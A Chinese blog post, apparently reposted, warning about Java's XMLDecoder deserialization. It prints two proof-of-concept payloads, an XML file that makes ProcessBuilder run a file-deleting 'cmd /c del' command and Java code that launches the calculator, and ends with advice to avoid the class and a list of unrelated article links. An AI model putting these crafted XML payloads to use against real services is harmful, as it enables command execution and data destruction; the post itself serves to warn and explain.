昨天在公司发现了一个jdk中的XMLDecoder反序列化的漏洞,看起来很危险!下面通过两个示例来看看这个漏洞的危害!

示例1:利用XmlDecoder删除本地文件

首先来看这个xmldecoder.xml文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="4"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>del</string></void><void index="3"><string>e:\1.txt</string></void>         </array><void method="start" /></object>
</java>

再来看利用XMLDecoder解析这个xml文件的示例代码:

private static void byXmlFile() {File file = new File("E:\\xmldecoder.xml");XMLDecoder xd = null;try {xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close();
}

这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令,直接删除了本地文件,相当恐怖!

示例2:利用XmlDecoder调用本地程序

private static void byXmlString() {String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>").append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">").append("    <object class=\"java.lang.ProcessBuilder\">").append("        <array class=\"java.lang.String\" length=\"1\">").append("            <void index=\"0\">").append("                <string>calc</string>").append("            </void>").append("        </array>").append("        <void method=\"start\" />").append("    </object>").append("</java>").toString();XMLDecoder xd = null;try {xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close();
}

这段代码改成了用String输入源的形式,这不重要,重要的是还是利用了jdk中的XmlDecoder类来解析xml字符串。这段代码执行后,会调用出本地的计算器程序。

其中ProcessBuilder.start()的方法和Runtime.exec()方法一样,都可以被用来创建一个操作系统进程,可用来控制进程状态并获得相关信息。

ProcessBuilder的构造方法接受一个命令列表。

public ProcessBuilder(List<String> command) {if (command == null)throw new NullPointerException();this.command = command;
}

总结

Jdk中的XmlDecoder反序列化存在安全漏洞,能调用本地的应用,也能执行系统支持的命令,一旦黑客组织成命令列表攻击系统,后果不堪设想!

我只是用ProcessBuilder类演示了调用系统程序这两种案例,当然还有其他,远不止这一种攻击手段。作者看了下,这个漏洞在jdk8_0_151版本中还存在。

建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类。

求转发,紧急扩散,避免更大程度的损失!~

推荐阅读


个人珍藏最全Spring Boot全套视频教程

分享一套高级视频教程:Dubbo+Zookeeper+ActiveMQ+Redis系列

分享一套分布式架构设计高级视频教程

分享一套Hadoop全套视频教程系列

去BAT面试完的Mysql面试题总结(55道,带完整答案)

阿里高级Java面试题(首发,70道,带详细答案)

2017派卧底去阿里、京东、美团、滴滴带回来的面试题及答案

Spring面试题(70道,史上最全)

通往大神之路,百度Java面试题前200页。

分享Java干货,高并发编程,热门技术教程,微服务及分布式技术,架构设计,区块链技术,人工智能,大数据,Java面试题,以及前沿热门资讯等。

jdk紧急漏洞,XMLDecoder反序列化攻击相关推荐

  1. cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析

    目录 1.漏洞背景 2.漏洞原理分析 3.漏洞测试 环境搭建 漏洞复现 4.修复建议 1.漏洞背景 Weblogic是oracle推出的application server,由于其具有支持EJB.JS ...

  2. 第6篇 | Weblogic反序列化攻击不依赖日志溯源攻击时间

     Part1 前言  WebLogic是美国Oracle公司出品一款中间件产品,在国内使用也比较广泛.从2015年开始至今,接连爆出过10几个可直接利用的Java反序列化漏洞,相关漏洞的原理也越来越复 ...

  3. 26学习渗透测试工具 Metasploit 的基本用法,包括漏洞扫描、攻击模块

    Metasploit是一款广泛使用的渗透测试工具,它提供了大量的漏洞扫描.攻击模块和负载等,可以用于评估系统的安全性.下面是Metasploit的基本用法教程,包括漏洞扫描和攻击模块的使用. 漏洞扫描 ...

  4. Windows系统近年漏洞概况及攻击教程防御

    参考:<2018年Windows平台漏洞年度报告>               <burpsuite安全工具使用教程> 一.什么是漏洞? 漏洞是在硬软件,协议的具体实现或系统安 ...

  5. python pickle反序列化漏洞_Python反序列化漏洞

    1.什么是序列化 和php的序列化一样,是把string,字典,数组,类这些数据当作字节储存 2.pickle pickle.dumps()和pickle.loads() 分别是序列化和反序列化 pi ...

  6. 漏洞解决方案-跨站脚本攻击

    漏洞解决方案-跨站脚本攻击 跨站脚本攻击 1.风险分析 2.详细描述 3.解决方案 跨站脚本攻击 1.风险分析 跨站脚本可能造成用户信息泄露(包括我行内部行员的用户名.密码泄露),配置更改,cooki ...

  7. rmi 反序列化漏洞_java反序列化漏洞—被低估的破坏之王

    [IT168 资讯]IT168 资讯]近日,2015年最为被低估的,具有巨大破坏力的漏洞浮出水面.在FoxGlove Security安全团队的@breenmachine 发布一篇博客中介绍了该漏洞在 ...

  8. 网络安全-SSRF漏洞原理、攻击与防御

    目录 概述 原理 挖掘SSRF漏洞 利用技巧 攻击举例 绕过 防御 工具 参考 概述 SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服 ...

  9. CVE-2014-6352漏洞及定向攻击样本分析

    360安全卫士 · 2016/06/15 11:06 Author:360天眼实验室 0x00 引子 人在做,天在看. 近期360天眼实验室捕获到一例针对印度的定向攻击样本,样本利用了沙虫漏洞的补丁绕 ...

最新文章

  1. 谷歌机器人业务重组 花里胡哨没有用 要做实干家
  2. 基于visual Studio2013解决面试题之0209最大堆排序
  3. 330+ 个机器学习模型/库探索工具!Papers With Code 重磅推出!
  4. Azure VNet介绍
  5. 走近分形与混沌(part12)--随机过程与混沌
  6. C# ref跟out
  7. 算法-找出最近点对问题
  8. ARMv9刷屏 —— 号称十年最大变革,Realm机密计算技术有什么亮点?
  9. mysql 5.1 for linux_linux下安装mysql5.1.68
  10. 【英语学习】【Daily English】U14 Transportation L04 I'm going to go screen
  11. jquery中的过滤filter not的用法以及可以添加this
  12. Hibernate批量操作(一)
  13. 如何下载RTMP/http直播源直播视频(比尔下载器使用完整教程)
  14. java 双三次线性插值_双三次插值算法实现
  15. 入手华为云学生机体验
  16. 淘宝签到红包商品直达链接,如何转化为自己的链接?
  17. GAN在SAR图像仿真中的应用
  18. JAVA:实现求Median中位数算法(附完整源码)
  19. Android11.0(R) MTK平台添加新分区
  20. 完全卸载TeamViewer与重新安装TeamViewer 7(含单文件版V12主控端)

热门文章

  1. Android中获取定位经纬度信息
  2. Kindeditor中上传本地照片后需要带域名的绝对路径实际获取为相对路径
  3. np.newaxis——np.ndarray增加维数
  4. 关于CMMI级别阶梯式前进路线图的对话
  5. 信息系统项目管理案例3
  6. 郑州银行评选神策数据为“最佳年度合作伙伴”
  7. 特邀丨前阿里巴巴产品运营专家、中国计算机学会专业会员,揭秘增长共同点
  8. 什么是用户智能,它与数据有什么关系?
  9. dig+host+nslookup 域名解析命令
  10. selenium IDE录制